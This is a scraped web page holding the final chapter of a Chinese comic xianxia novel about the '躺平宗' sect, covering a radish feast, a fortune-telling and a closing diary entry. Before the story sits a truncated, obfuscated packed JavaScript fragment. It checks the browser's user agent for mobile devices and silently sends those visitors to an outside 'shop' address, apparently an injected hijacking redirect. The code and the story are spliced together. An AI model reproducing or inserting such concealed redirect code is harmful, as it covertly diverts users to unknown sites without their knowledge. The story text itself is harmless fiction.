35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387693|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 牧殇沉默了,然后伸出手在她脑袋上揉了揉,宋栀子躲开他的手。 众人笑了,笑声飘荡在院子里。 热闹渐渐平息下来,众人吃得差不多了,酒也喝得差不多了,都靠在椅子上懒洋洋地聊着天。 典星河忽然站起来,说给大家算一卦吧。所有人都愣住了——这是她鲜少的一次主动说要算卦。 归尘抬起头,看着她。 典星河伸出手,轻轻掐指。指尖开始发光,那光芒越来越亮,越来越烫,烫得她指尖发疼,但她没有停。她闭上眼,三息之后睁开眼,笑了。 “我算到,”她说,“明年这个时候,我们还能坐在一起吃饺子。” 穆惇愣了一下,然后低下头,用袖子擦了擦眼睛。牧殇看着她问师姐你怎么哭了,穆惇抬起头面无表情地说萝卜辣眼睛。 宋栀子凑过来认真地看着她说大师姐萝卜是熟的不辣,穆惇看了她一眼说那就是你包的饺子太难看辣眼睛。 宋栀子噎住了,众人笑成一团,笑声飘荡在院子里,飘荡在月光下,飘荡在每一个人心里。 归尘坐在角落,看着这一切,嘴角弯着。典星河从人群里挤出来,走到他旁边在他身边蹲下,从怀里掏出一颗糖递给他。 两人一起看着那群热闹的人。 夜深了,客人陆续散去。沈惊鸿走的时候对穆惇说下次论剑再打一场,穆惇点点头说好。 栖云子和凤栖走的时候对典星河说下次去青云宗坐坐。沈家的随从被沈彻送走了,临走时还念叨着萝卜真好吃。 最后只剩下躺平宗的人。他们围坐在院子里,谁也不肯去睡。宋栀子靠着安然眼皮已经开始打架,安然把外衣脱下来给她披上。牧殇还在和沈念聊天,声音越来越小。 祁幻抱着账本一笔一笔地记着今天的账。穆惇坐在旁边望着月亮。典星河躺在摇椅上慢悠悠地晃着。归尘蹲在树下看着他们。 画外音响起,是典星河的声音。 “有人说,躺平宗的护山大阵常年不开,是因为穷。其实不是。是因为我们不需要。有他们在的地方,就是最安全的阵。” 月光还亮着。 突然传来祁幻的声音——等等,你们谁洗碗? 牧殇的声音懒洋洋地响起,我来讲个洗碗的故事助兴。 宋栀子迷迷糊糊地接话,师兄,洗碗不需要故事。 穆惇的声音平静得像一潭水,“明天洗。” 典星河的声音同样平静,“同意。” “你们——!!!” 笑声还在飘荡。 【沈彻日记·其九】 某年某月某日月圆 今天是萝卜宴。 我提前三天就来帮忙了,拔萝卜、洗萝卜、切萝卜、烧火,什么都干。穆师姐说我拔萝卜用力不对,但我最后还是拔了不少。她看了我一眼,说“还行”。我觉得这已经是很高的评价了。 晚上来了好多人。沈惊鸿来了,栖云子和凤栖来了,老祖还派人送了礼。十四个人围在一起吃饭,热闹得不行。 典星河算了一卦。她说,明年这个时候,我们还能一起吃饺子。 最后要走的时候,我突然不想走。 但我想,反正明天还能来。后天也能来。大后天也能来。 反正他们会一直在。 反正我也会一直在。 (今天真是个好日子。) (明天还来。) ————全文完————